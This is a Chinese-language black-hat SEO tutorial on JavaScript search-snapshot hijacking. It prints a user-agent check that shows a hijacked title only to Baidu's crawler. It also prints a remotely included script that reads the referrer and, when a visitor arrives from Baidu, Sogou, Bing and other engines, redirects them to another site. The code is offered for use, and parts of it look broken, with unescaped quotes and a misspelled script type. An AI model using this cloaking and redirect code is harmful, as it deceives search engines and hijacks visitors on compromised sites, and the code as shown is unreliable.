黑帽SEO教程为html中的js跳转url加密(附解密代码)
通常我们看到的是php或者asp的快照劫持代码,很多人对html的跳转情有独钟,用js来实现是最合适不过的事情了,看完这篇文章,相信大家以后再遇到类似的劫持情况也就能轻松应对了,只不过是代码加密而已。今天,乐天老师分享的内容为《黑帽SEO教程(javascript快照劫持跳转代码)》。希望对大家有所帮助。
一、unicode编码
unicode编码一般被黑帽SEO用来加密标题、关键词和页面描述,其实这种编码加密很容易被看出来,站长之家等在线工具均可以进行解密加密。
二、浏览器访问不劫持
如果想用户从浏览器直接访问该页面,显示原来的标题,并不显示劫持后的标题的话,则需要使用一个js代码。
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="标题"}</script>
三、引用js代码
当我们在html中引用多个js时,可以直接使用<script type="text/javascirpt" src="网址/ xx.js"></script>,例如:
<script type="text/javascirpt" src="http://letianyun.cn/ xx.js"></script>
然后在js中采用if语句来判断是用户,还是搜索引擎蜘蛛,蜘蛛则显示劫持页面,用户则进行跳转。下面则为引用的js的全部代码。
document.writeln("var s=document.referrer");
/*获取当前网页超链接的地址url,并把此url的值赋给s */
document.writeln("if(s.indexOf("baidu")>0 || s.indexOf("sogou")>0 || s.indexOf("soso")>0 ||s.indexOf("sm")>0 ||s.indexOf("uc")>0 ||s.indexOf("bing")>0 ||s.indexOf("yahoo")>0 ||s.indexOf("so")>0 )");
/*这里的indexOf是一个方法 s.indexOf("baidu") 的意思是 获取"baidu"在s中的下标 ,如果s中包含"baidu",就会得到一个int类型的数。
||是或的意思。
if()中的意思是:当前网页的url地址包含baidu或sogou或soso或sm等的时候,继续其他语句。*/
document.writeln("location.href="https://www.letianyun.cn/";");
/*这里的location.href= "/url"是当前页面打开URL页面,属于本页面跳转。*/
引用的这篇文章写得不错,大家可以去看看,但实际操作过程中可能会遇到问题,有些解码完全正确但是无法正常跳转,如果使用不加密的<script type="text/javascirpt" src="网址/ xx.js"></script>代码则可以很好完成劫持和跳转。但有一些在线解密加密的网站还是非常有用的